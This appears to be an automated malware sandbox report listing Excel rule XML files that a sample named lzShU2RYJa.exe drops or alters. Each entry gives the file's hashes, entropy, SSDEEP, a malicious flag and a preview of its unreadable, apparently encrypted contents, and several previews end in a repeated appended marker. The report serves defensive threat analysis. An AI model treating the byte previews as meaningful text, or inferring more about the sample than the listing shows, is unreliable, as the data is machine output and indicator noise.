Preview:	<?xmlsL...SX#[..O......%...k....q&.?...x+....C!.-?E........yoe".....>...U.N.B..VkPUP....UQ...._..1g...96.rt...(.N.+Y..,..L.C....:..Rg.:..j1k.9.(.C..\|.A<...D.%<.v..`..."...d....HS.<.r@...x..X....I..p..&:.k....7../Q.s&U...oM.q.9.a..T.mV..U5V......'.5.fY:.v^...l.R....P.C{\Q....a{S17&VH.k..8..T.!..=X$U<.%.Rk.D...U?.p..K....C%...9f....N.I...},-!I.w.......}...4l.Iw......<r..h1..w..1=I....pz.}....Wtu.?C.a`.\|.X..o+.{7w..........S....%v..9.K$.'.X.yf{.:.f..y...Z\|.\|}....L.,.rw.bz%.....S..[u...^...D#.s...oshZ......O.!....M..A$.2i.9.@.8./\..sd~=.@..?s.T.A...Vd..1Y..G.....U..<V.p... .....d..$^2.9U...".z.?......gc.j...T~<.GFV...?t.1.....e...&.R..6p.h.,;.q."..Z.....U.l<Trv..R....R.s5b...ib..`.I.Q......h.....\.{.....Eu...UUw...n......-C_.......O.Gx..Gv..\p.T.M.....>..?..Sl>..^.Z^RrN..],q..6..F.rPI.=c...il..3.%...z......h.\|.IN..gEI.#:n`...og.mR....y....W.{a!..d..a..f..X........^.x....#....o..."....l.JM..d...?...\|[3..XH b`..^%W..-..Dp.m...u.....N....'....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.995435470112066
Encrypted:	true
SSDEEP:	768:SfDR4cDicWAYcPq2OoPFCK4jWjmWGo18IuDZQDiGHTtquE1eAk+Zx:SfnicWAVPwoPgK4jW6A1nD/RqZSE
MD5:	2D0CE8E21E9FE89F2382C5FFF6D5EAEF
SHA1:	854D7025947A72E43090C1FCC56608EA9E246848
SHA-256:	D2778CC28D5288C81C66C4D22F898955BD8E13FC7A7B74CFAD5417B543B342CE
SHA-512:	6CD4AAB1FBD1685304256E51D39B3B6E510E7F5162ABC05BC36216A52803A6D984E929DE223C2FF4633E6CD633D06FE398F588770DACBA8FBFE65B89E00C9765
Malicious:	true
Preview:	<?xml.C.WT}Pfjq..w...7....&.I.........\.H.....QR)W..8'.......D../..l.ka[.V..\..X.eUp.S....q...kfZ....C...fiR0FT....S...R...C.zR.E..7.W?..7.=....%.$Y:.Z......#u.?t...<...;X.........#....Dv.._.......6t........f...G.$N...r.O8...X..".v.4.:}.\|=...!....&..A..0. .!.....-.C.<Q....6.4..=...k...)..qb.....;.[.q.\....;..ZT-m3VS..wDg.:.......+.8n.;.e8......A_..S....R.......3x.VT#N.)t:u...)..$..^TLg."#J..\.#.wW.,.....U..\\....zV.@..O...2..........b...u.x...b......3s......c.i.=....`...0z.E.....}.R..... ...uM.....'cc........2..~P.8..L[..2..a.&.&-.....{.3.k....1>c-T...Y...[...b..k`..R....y.rn.;H.v...dl.......H.M...Xd?:1......F..T.R.#(].....0.#.O9.0u.......v7....].....9....E...+..Mr..b...z6\>a-[..y.@R.2Z..g....._.?c*..2x.r.........k..K.^.........8.w..(....-.....}.H.9...H.....zr....:.z..'"q.M........S.....3.y...........I...\.y+.VC. ~H..R.]..tb~....hv.M:0...D...M...m....%...3.0`....{\Y.-.!.v;..(,9A..w."...BiS.............AG..`J..f..)2.a..y?..SS.H.&,_.e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.700419371900718
Encrypted:	false
SSDEEP:	12:gNkIougn0/adKoRiHXL8Y2tvPh9Yn4RyibmQj+Qx79g9UjVcii9a:g7Lgn4nL8lJ4nQmQqQx79++VbD
MD5:	EB234348558C4ABB20CAE306C8AD01CC
SHA1:	E0B05C934C90EF2C126A6AFF8951421FB4803388
SHA-256:	779A1330C827CF0CA03E1C2E330F491D27EB98F8097DE673018112ACE4855A96
SHA-512:	9792D94B75696DF599C81E3A469C17E71B977B0C3FDC9DC25BEDB3D8CADFE30D3AE4C6259021958E6D8E25AACBD74BCDAD29EED4C1394E44B953E62F05E65FD6
Malicious:	false
Preview:	<?xml..2.....E..h.J.. .5...K..:..?:).$..{..#.cX.M{0...x..z...1Py......,.......\|........%.........kZ........O...l<.W+a..E.Q..&..t..+..>...j.....rz@...........Ado..a...f...N...X.. ,:!...'.,..xC....aa.........T.Y.`.....o...a.4G.OC...z..p...... .b.=c.=7..F./m.a..\D{.9.ir.-Z).>>.Xz...#..P=..N.s.^....X).V^.~...9.<+.W..W.a..F.$.7:...:....e....4$.6..e..s...^.d...+A....Sr..d%k59..1}aS."!R.Y...CE.I.\Q.Lt.@..G.q!.q......pCx)!...T.Q.?'......#.4\|.c}.......}G.CJ.P....g......3..Kx....1...............jY.A..a...d..Z..gY%0[..([;.....u.]V......c...&O;.c.v.c.c.u>.O.k..Wh...n....{FA u-......m_...r.......r..Z%..<...h..`.'L.Q`w.."c..j&.`.>.U,C...hp...Ov].d...>.x.-mt....q.\|.T......Qitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.702345178769029
Encrypted:	false
SSDEEP:	12:XNK1HRnSXs1w7Ndbn7dpy5ABplySD89qbBVwwKZNk9/XdQvmSAROxjVcii9a:XASXs6N97q5AdL8e6ZNIXymSAiVbD
MD5:	9CB751679C749DA5EC02C27863B34361
SHA1:	D1DF4151AE38B62F91E8A06D7CDE3A328F651760
SHA-256:	3D50C147EF65E9EAF0301804EBBC6366637AB1E3B67091D023C24C8AC82474BC
SHA-512:	DC63618BCD1CB247C3033D9382EAEFF402E115E60E76793A576784370E421AB6C36E412D980327DF0885A54E63FE9AE36344A134A9C91313CC061FFCA495DB5D
Malicious:	false
Preview:	<?xml.....e.&....U..6..o.Fz..s+...W..+".M..9.3._.. H4.H.....1J...s.....7...4..+[.V.*.Y....N.\ .].e-h.H$.z...<............2...S8...01.a......M...T.F..ud..[!..;.KQR.;.J........z.W.(.y+{.i..-.C(P..V.{....k......'y.....c.d..O.b.X?EV..J.69O?..c4.. .!;G...?l.]._.%.G.CW.3rf..m.-.N9..q.k.m..L....a~...+.c. s...C.S..N.J.l.1,N...u..%.....9"1..R..G..c.?.......@."Q.....TC.y..).!.....>L...$.[.z..7f......2..'.....\|_....o?U..0.s<+q.o.w...AI.......6......91..."F...K.....n..w..9..lr.\|...8\|S.%m9;...k............u..N.-..\..a.....HW..)8kWwSTJ...k...z...F..Dq.....^.`t.....)..I8y..0..B..AE....?..L.g.s^0e[e`}.!) ...._H&.o.R..; ..).TL.=.!..eJu0..../l....g.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.865439969236596
Encrypted:	false
SSDEEP:	24:fotoM0mOag7+OFaWOfWai22VtGxTf6QtmPvnizVbD:fYx0mpgyO/8p2fkTfNtmPqzFD
MD5:	849FA7B8456651A994E2E6030F0D84EE
SHA1:	B1C9D740BEB1DAEEF2B97D79C16E41101B7468E4
SHA-256:	789E7ECB9FE495705C1897B0C39A0ADBE6EB3B97E6D5F82983D9DD7BE72654CF
SHA-512:	3370E72FDF540AB6BD0CDC71D1A5220DD44B7D2C9790D4DB03A948578644B236F4D8BF55217C4D9AA6CBFD7AF96C8813383100B128939343F339F2979A150565
Malicious:	false
Preview:	<?xml.S..7P..!...y.e.#.....Q.}...jy:.O.....<.D......a=5[=.=...k!...!W.I.....m..&.>......%....W:.`....c2v......Z..w~_..F...<.RQ\|.V.X....?..Q....0..`...j7...(e+....-....<...1..U...+.A...t...]. ..L....w.m.Kf..i.v.L....Y1..y..........l.'y.u....w9.L^..u.p,w.0....j.....eYv...6lo.......Fw.$.\FC.z..0..".....'.z...De.Kj...j8....".7.....z..9.h~...-).86.<].b..:...>...YY..%]....D...s...p....Q+....&.v9@..#......!.+%...%i....vh..&.......1Fn.....#....c..JF.~..S..OF!....LB.1..\.........1..~...j./..Zu+.jcJC..(R4.....T.H.Js.Ib\|{Y..H:F$MPX..W8fv..0..u....].....V.. ..N.x.J..!........C;.b../....C~.....5..e.W.Hi....X.....9;.......q..Ig.../c.@...nv..'.....A3.p...k...;s..6k..k.IDL..?I.)..m..\|...6!..O..,l.>..\|..O..?..X..).AO..:.e..6O.F.a.Y....b..PT.......y.7s...{.@.J..yZf1.........V..._ln.+...5.A.t\...:...Q.7.....u..F=A..m{..x.D..J.a.N.f%o[.V.w...&[.6..3......M...c......K....2.!.].{b=;q...).R.,.D.!_....H.n.{.....M.....xy..z.L$.HN.\|E.z.T..../L.V./>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.779062746569549
Encrypted:	false
SSDEEP:	24:GMHSPl/DKzlF57mczmehGKhYkhTetTgD4oJkrLVJnx9ViVbD:vsGzFKczmpKPD7JUVNx9IFD
MD5:	4F0A560F2D7FEE635D80D6DDDA21A4AA
SHA1:	A89B9016236E33550C5D89A94416A5FBC98CC78D
SHA-256:	ADA76FE1EBF50922FF69B959DA079C7D74F90B6AFE8CDEC44C42C79A38AD3317
SHA-512:	51F34F3666855953CEF47B8E6389F803E4ECD04244949C16B0435087861777245030123029D5C2947CC913E0C4EFFDEA1EFA5ED8A1A3A46872921A826FB8123B
Malicious:	false
Preview:	<?xml._........n$vn..2Yry>....2..C.4Qhs....6>1.N.-.-..'....j....)...%A.........~..\|..:.........:n..?....X.r.....dC..{...(..$....2...s.g......1...J&V..w....!..(....U%N...'.K[...<.5.1L...B.....z.........3F.......E,..@k...pA......)...V...\|.z.nd...bP.o.....V...M...3.....0)5.....D.D.....ii..].gnq\9...9.T....0...#....N......XT....C.v&.XG..~.._n..]........er.O}z.o].s.whK{..Lvk{..N.S.......t.9 .\|.6...o..)!.+.\|..L...=. .....S.~.72.>.e.B]Ui).....P#.R..\|.....8.aZt>.....zZ.J.P...A..Sh..@B.^d.j5.\|..6.kq.S.6l.....U..k.eF^.i.nq..7.9.1.S.T..TA`'Hg.X.P.........3C.. ts......U...M.0.jQ..;......$_.\.1}.]g'.io.C7...g.{..i."E........V...b.<:.!..a.a.S)..6.o....(.p.qP.c.J7.<<.(.g5S.M..kj.Q_..._5..f..L...X-...8...pi..o..uX....^.N>.^p..+.=.,.w..V.%+...M..wP.(b....W.{>..P.".........)...{\...c....:%..9..6.....c1...i.../...i.d\.p51....._......... %.1.........14.`....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.787488484032781
Encrypted:	false
SSDEEP:	24:9QeTnnx6d7OT0+7X0KrDjoj4aeR3Zs67KB1r8RXJVbD:95Tx6d7OT0+7XnYM3oaFD
MD5:	56368E97D5E689894B7A9342CE1911F7
SHA1:	7E73CD989889E3DED12922DE8B4FCE2637A5764A
SHA-256:	5EE1F3B30FB3A3C3E392E411F07E1550983D6DC698DFB58C008CC038887675CD
SHA-512:	B25B794E609CD5B96193C4CB0FB1B6CE50AAE79B217A7003CE6D1E3A7D9A3E3DAA2957AA1243A9228FAF9C4702D758C4EB1A5352544C084892AF900580ABD027
Malicious:	false
Preview:	<?xml)h2.....o.).q..S.9.3..h...6..Yq..w.......%...g.7F.p..1...\|.d+..j.y....L.....^.....x...2d1X...}.:A+..koc....%H.V.....I.K.O.^tvU.i..0....4b...RI.>%.......P...;.FE...].k>..6....:..&.U....>Q;..5...B...hr.w.UK....~...\k......$:]KN......_...k..W.c..........7...ok.S.r..n...\.k.W....;._...2.."8... ..!E&.t...mmG..p..\|...B.X..<.<c9...6._...... .J{......,.m....Y\|.m......C..&.w.p.=....c......&u...(......x]r...%eg...g}YpMha0r....\....oh.RN.R.......7?....[..!,..aX.G.yp..t...RE...4........?..\|-.v#.4+...o..:.l.......5.....J.[p.&.6.d.wN.T.r..`..^...&...JB.g.Y..hb."..'...y(JI.........I...f......-.a>..wz...OX.J\|.w./F.r.8..M.s.0.....K.&.7.....'d\|?...l.u...t...Z..bP.^...n....{DR..)..l...t..HH.l.{RFu3R...A.6....d...h:..=t...(..\|-....\|...0&......[..k%.....8....8......l;Z\|.J.mS.....&.Br&K.7D.q.(...y.......X.D....~\|....aE.6WqN4d.`.6.......X.....k0.....F...P.N..6!t8Ytz.....Z.....<.,..q....$.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.8269614807750045
Encrypted:	false
SSDEEP:	24:tvhjtnJIhQi0ectA29YgEzjzgixMi3xtcwRcVbD:pHJIhHyt6gM3xMwxikcFD
MD5:	808C2BC3BCC2E7D211426E9E68169337
SHA1:	73C560A18DCDF76318A2BBB8E00656D1FA1058D9
SHA-256:	E013A5AF2BA6874A64F1F9B0B6F006BD55A2005F77AA73BD78938BF9620C3641
SHA-512:	1AF95B7CBCB257D33686AC7459DE4779AA7EC5F1C30F122464BD0A1EB7BE6819D2B23E145C7ABBEA1BD1AAF6FDFF05D81BD6152E1470BDE3FDCDB9A9706BF9BD
Malicious:	false
Preview:	<?xml1.M..G..(_....C........c...Q..?..._.....)..^.#o.....;.......O:.......^[\W.h.N......b.>.....L...$W..@..F.............q.;E`...=.....M..+...q..Ij.O.Y>...l...'.Ow2C...Z....Tv...[. ..^...Q...4.2.u7..6QwH..Z.z.c...P...It.',5N}.....2[..c..9.+..?7...............n. .C...6.:.Ui.;.._..5.....Q%7[t.....r....].........6vI!.F.....0W..v\.".....AI..V.y..Q'G....C.W.O.5..{.."'&.E...YM.eRkD .'..<.........l.<q=9..ve..pN..;..H.v.!.D.X!WJ...`..z9.H..mwH..]....Bj..y..M$..hj...AP..~-s..`_........g..u..1..@..`..`b...a.....d.....4..:.J.u..9>W.'.I[\...r........N..Ob. ..V....vC.......}).^Y(].`n..i.g.e9..t. .WV..............O8..\|S..\):..j..1........f7M..Pw..4.#...IH........G......h.l>n.....l.F.`@...).......y.....J.K.h.iM.....(.}.?@.2...u.w....4..y.2.a...n...].(U..0T..Z}....5P...[.a...>.[...........Rw.g...=.{..d.U'./....MD....MOl8.....`.!..j)..-.W..v......2v^.({H...I.1.Ju.V..U6........4p.>0../-S.$1JX.)bK..?q..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.854861539694327
Encrypted:	false
SSDEEP:	24:WaRCWGaKEAuk4idvdzBye23K/KvYYTgUBE8JMFtSFingpVmi65OauWsxfTU5Jcyg:PRYZPTFdzEpa/4mUBE8SX7nLxoNxg5J8
MD5:	64CEAD24A63B01EE76C96BD7A9C0EDF7
SHA1:	02D1596CC860DB45A6774F7F7FE649A8FFAEF4D1
SHA-256:	0464F77EEEA08F0844E4166534915CF0A76D011A40CB9E0F1D17C94D8583CA4F
SHA-512:	F9FA8DEA5F4CE001DAF7EE59B20E4940842A1EA1BC00BD7DE40B42ECA46BCB58939BE1784A73BDF660401FBEAAEBFC97BDD761B68556BF0F82F6866AADDAD09D
Malicious:	false
Preview:	<?xml.H.....".8\|X......?7A..;Fv..H2........:....B.....7.../j.g....+&..e~S.D.V...n....aa.......R.$.E9........B\|..#..3...9...Q%..G...~Z..7.&.........bhx.....5.../.&...\|...Yy.P.m..'....'.8.i...OT(.^..!:.....T.qRx.$.h...ad...kp.z.-.#.3...o....^&;...G.,..G..C2.Q....t..A..m.......d...R].....N...T.=Q.J/.j...)Sn....V`..?.....?.!-.....-u.B.Yo..9=....+.F%>..cHY..;..x/.(=.{.P.V,].,(.S.&3.^..-..M(......W..>..(.,.@...g..p+T...y........qS..>jA).7n/G..~..Sd..c..e.Wd$..."8tME......_z"....~.M.`.b..Es..,..........f.....o.}_.4.."..v...B!.8..........~.n.X.,..!$.v.(j ..B.j....v.....r.~.)........es.g{...4.J.%..k...z.$.[>3T..^../.....~%..oKV.!k...P.Uy.;....d.l.F.....9aks#.@2.z....Tr..er.d{..M....W.o.....Q..1...r....=....C...f=..-.....].....@M./;..;..G....g..D..;F.$R....%et.M...(..4......v.Q%.K%\|...N...%.L.AJdC.:.......K.b..7.......2.8.H...).sO.M.^{.].,e..,u.I.&..=\t.s..N1b..,..o.V..T....m..1.....R*.\..x..K..........NI=F[..5..0E....t..F>&......Y..JG.?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.84644752191248
Encrypted:	false
SSDEEP:	24:8erXaAkCbrXhf61yuQoATntp8CAVplDNetP3dMWNMPY7Z5EqU1u64XXExD6VbD:8euAfbDhf6pQFt6plQEuMPY7ZiqU1uvv
MD5:	A1F5870A6060BDB039B947F432E2E84B
SHA1:	45FD78238937397D58C4485E0852CE6BA6166370
SHA-256:	8B600260208DB674163DFDCA21621C9F40E8D191843C4B69023B18CFDCD391FC
SHA-512:	5713547E3EF8ADC01AFEFC631C3674A27EEE048B2FBFEB35609963B80336798202E37904F1D881791070AD59988A8ABC6C2A4D2DFFC6B032271B08C6FB65A1CA
Malicious:	false
Preview:	<?xml.,j.&cx.Wt.s...2...t..A....L......(...N9G.z...n0....%....A........RD... ...KU..Vv.Y<W..u.........\....d...X.7..N .g-A.._.g36...p5...#.....=...Q;...q.%p.. [..E....`...F..[....=D~...._..J......&Rz.+........H6..7.....X..MT.V.{.$..b0..z.6.^&0..9.......pT...G......4..C.....?E..=%.m.<...4......3..^..V.f...,......K..8...G.....,p......(b.@.]..T..s.........d...5M...Pl....z.TT.....G.V..b..c(.-...$.C\..^...dw-4...t.f.....x..(o.%I,)20..,...(s-...,.........+.vh..q.V....,..._X).C.Y.&!...&...U'i./).,...R.0V(.t...q.....\|...I.c.A!oY..eQ.)..v...p\Tx.2E...dS..H{.....!.Y..E.16.j..+..r2.u.<l.o...C...W_..:k.W.....o..+zHb.a.RQ\|....U.o.}[...-....s.q...z.K.<?J..Gc.C.M?Ax...K...'....8...v..\.n..m.......#.R..M,.`.....D.`q.,L..z2.~3...q...m7.....ec)..f.WU...pQ&w..~....=f.".....5...;...8J1G..?..y.6].....52.\|....-..V.....q.K..y....K..p....9\|&..'!.......?B...7+......4.&].-........B.B.!.I.5..*.o.......S...c(..Vo.VxUA.p.T9.G.\|..U.P....(q.#.$....1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.718629823928965
Encrypted:	false
SSDEEP:	24:oLdV9x8pV8SG9ahEJXOCXCw2C0+uIoBsahK3/XVbD:2EVJG9a+Cg0+uIoKv3/XFD
MD5:	2E7C6EC8771B5FC00E79897B7F038E7F
SHA1:	3BEABBADA4D467EFA07E178A3DD1F76B5C8B8284
SHA-256:	6755665B76D5F6AE30FE4F547342939319C062CA096594C247D9B07F4DD8C88F
SHA-512:	FA0789CD13B20BB52B19C8282E762F45E9AFB778DB279CF1C20013FF8CF026F93ACE49F58163DD6241DE4BDBA5FE1EC4B7B36AFB8D65DC7127D79EE02AE455DE
Malicious:	false
Preview:	<?xmlU.t...VyK......kR.... &I...Q..le....<.....}+:....K.ZX.o...J.=.....kqJ91....zV.M.7i..&...E.7i"W....B.?.+a...d-.5..} ..Rh.).X.......p....i8.k:.B0.F.<.p..d.....m.........tT..~.Fa.........^..o.[M........u_k.I>=S.x4V..+......\|..,...ZT.]..$q_-z...b.1.K.........4...8.........L.tA..;..@.V..r,b....3.A...-vS...k..3...G.........q........b.V0.H.o6....w...Rr..gD.....h\_....n/...~jYO..6o.x....0.f...,..3[.7.9..`:....JA..S$.1B5.u...g..P&..?T.........{..........h.Jb......y....r.\|.(=...C........-...^?/....1H ..h(.7..wk....\._za~...H...).F.0..........i...o8.K_..W...M...U.U.":.!Zoz..5.x4..\|...~..X.x..\|....j7..$..=....E.iA..D....,X..i.2..-.2..Q=..{@..G. .-?9w.S.uX._9..N.[x.C,@...C..d.l6....\|d&...i..>?.`'..'..~.8}..*./x... .....5...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.822879612987009
Encrypted:	false
SSDEEP:	24:6gAaMsVm+8e9+iySSXiT1UbxvDl8pbChLZ6Knvc6ZOVbD:6gmsV18e9+NiTIlD2CZoKn4FD
MD5:	A8F6214E4A0E58525C52E40A76BB8FD0
SHA1:	0698D6AFB5988AACBE9C9276C4F268D208FBC013
SHA-256:	DF08F155D3B41411821F79A2B50BBB88AEE46FEFE92E1A49257EAF3EED018A78
SHA-512:	4C43FF9455970D316D7416A4B1C7D4FD0CF7D6F2476BA13FD7ECE307EB24FD11E068AF46A36CE7805CEC93F873B5E7D2C7558A220B0297FF8EB9A237F7E5EFF0
Malicious:	false
Preview:	<?xml...6u\|.!>)..l........)..-4 .J.6.j...... \#.).4......e.6..l.Pf#...."K.f..)...G..Z..9.z...csl.:.6F.$.K.^8..E....~..i1K.D.....+..Z.....{.T.+.....I.Gj/...7f%.F...j.;.%{.-.~.hU..,X..Kka..Yc.[."r...`0.Z....O&2.^...AO..N9Hx.x.QKORM.?.....}...C7.Q.1..,9.NU.$..4.95b...p..2W.....u..Xm.......@...$b..?.......W..#".../.....UC...B...m...5....M..<...%..Q...`y3...y\|.....2...b.4...GPBa..F....X..~..y.....v...D7j.r..]."\|K..........x..j.SL.<.o.vB..TE......a$.q..T.AXe...C....z...o.........z..{z.L......U]..R...S...s..8.F.....&..[VM..#.../>[.}.."b... f...uO.......i....V.7..S...q...~.@....T..m.@'...........b09~...nW...$N.cNv9....v.W......vw.q....'.S.6.i+...0X....[.Yp....p.>...`.....s..._.i...&..(..9.~c.......K{&.-.V......sc...2.jQ.k......;1#9....Z....P#....g.V......7..?mKN..'..Q.j..Q..^..#.-X.)@.yVUp\...2?L..(..6$....$...y}....Gd............h..@\|.g.u.;....YoDk......p.}xVye..2.o.m...X....2.i.G...V..aN.2...\|;.Fw...\.........wo.$...S..,qy....[_...5.....\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.759304090606126
Encrypted:	false
SSDEEP:	24:4n2QXNGUcNyvAlbom7LlPWlmKvU/n2VbD:4njNIOss1pUP2FD
MD5:	D56E93ED7E81578C65BE71B4A9DDDD87
SHA1:	B8CA23D3AC82C4EAA9F95AE83883845547E19E83
SHA-256:	07573697D7E6C3CA8F2DF36403B1392CE72A72B962C3368F0030FA64533C844B
SHA-512:	115AD87AC831710E6A007A8CEB95630287BFDA200BBB1F8C65557664BCA60E569ABF1C0B43A2A6B6A141FCAEAC94BAE1C98508A44C8993AB7D7B5F58C09CCE47
Malicious:	false
Preview:	<?xml.!...oab.}.T..P..ey....j.DX...fqS.o.(.B...NY..us.i..2%..j{.ez....!...~R...z..M~..]..O...[U.......t.0h..ECPTO....5[...@.(L......{.:..H.7...;..^...!.!wY.%.6%...!.<..;/.X3s....Ta:.-0..M:..f.G..?....W....X..^......_..A..'..(...Li..xI.3>..Q]...mm;Q.F.F.....*$.....R5.;...F.......w..n#.w=..)e~T..>...uH.....!...\|.........R...{....u.(..&.U.y_...n)..{....0...,.e.n...s.Q.Xn2..2TtC.....\Lo......F..#.]\....C=.`.W.,.P.W.F..D.{.-...C...........5KU.....c..M...}.d+%.....a...{\|.M.B.7).{.e..V...W.u..c.....Lc.}ATS.O..dT!3.m..".._.X.<.s.k)..g.;.$pa..s..........<..WC38.X..D-.BL..CP2.;7ez2(.@...f......x..7..q.v.~.p.=...xZ..z..HR....o.. .R....JYLL..[_......`.Tka.i.....O7..#....0K.`.%..^YLgba.75.`.(..!..E........o..+.X..yp..hIW.G;........hV.=.\|xr9...>.......Bq..../C.4..n...Z.~..U......d?pD..b....8n%...O....@..e..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.834080993206446
Encrypted:	false
SSDEEP:	24:2zWw4xir/XeuwWszGTmY2vucygoBw3TsFVbD:2a5x0/XkWzTmYEy1FFD
MD5:	70AEF1E65C8D01B9F74382629F7E4E7C
SHA1:	67D7733A96FE50A61A0E1513687F4A9DD995A67D
SHA-256:	B316D66A39A2F672D037DE39F93BCB56F9D1D4303F3BA80ECC4F672B0059FB52
SHA-512:	80BF6E47744654D0AADF921B92C9002F6D2B2E806A4A5FE7E09A29685E9E8C1317E93FFFFB472CFAF2C96B0F42E8B3678C9A6B0D4B9F2DE391505BE55BA69760
Malicious:	false
Preview:	<?xml..^fV...Qg6;...=...S...J3\|.P.H........#..(.X.....'.......5...X..[.../.3.bM.7..n..9.iU..4.B2O[9........Lz..9...J_..dq.`.-...{.E..!\8..hk..b.#a.......,... H..z.....k...E..J$..?HSE...rD.q..j.]8. ....@.ztg#...ot.........f....e).:..........C.p.P.....#w....C>...7._.\|..M6.$S...P..9K....{.....F..y.....k..>.U.F..s...p.(.L.gT..8........2R/2.2..3+..{.%4...L....5.!..EgqA....Tr.@f.1@.e....EP.Tc...Z....d...~%{..{.v.^..s.s.w. ...Y...R@...de.XW...%9a..x..p.u...._h.(..G.y.F.z...Q.]..B.J1{....(.#/..$..+D6..........\k.h..cH.>...X,...@9.#..OW.!Y.t.......Ak..;..F..u.....S.....B..:.b.=F<..N.P..4.m..Tv.2..L......r..........W3..=p.q...J.\|\..r...X.>L.Y.o.-..O...w......z..7I....x.k,t.E....J...._.~.P...N^.}.....B......3.. ...b.=.`.....u#..INr..s... .r>..r....{g.h$..v...X5.J..0'.Y.$.E.<.g\.."....e.?:.;..*...:.b..<..@i.'.....Mo.U...n,..de..Q}.K...B.Z......f......79........_.z]y..I,.W.).........R.y.>......C.}.....l^~}.@94}_r.v...jv.........c..pD.v.%p.a...:H..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.824729759694132
Encrypted:	false
SSDEEP:	24:QZiTgC9AdwmRlAsG7vIe2ZZk/eWThKY4I7WgAvXgB8Ri/5BVbD:QepqdNwswQe2ZZkGaeGWFvXg4A5BFD
MD5:	0816DE27FCA2DB556CA874A28922DEF8
SHA1:	04A7101DFFE545E521F228073737ACE1D1F229C9
SHA-256:	62C1AC58934AF7D73BF2FDF405A1971492633FA86A34172A7390E14D3A476DED
SHA-512:	6138F43941D35BE589D436641657BFF00DD5622CC518A6DFBA0F692B5394A9F5A1C0948E39CAC382057973AA3D5578C96C4E40E83BDEA7F058F927F67DAF8CBF
Malicious:	false
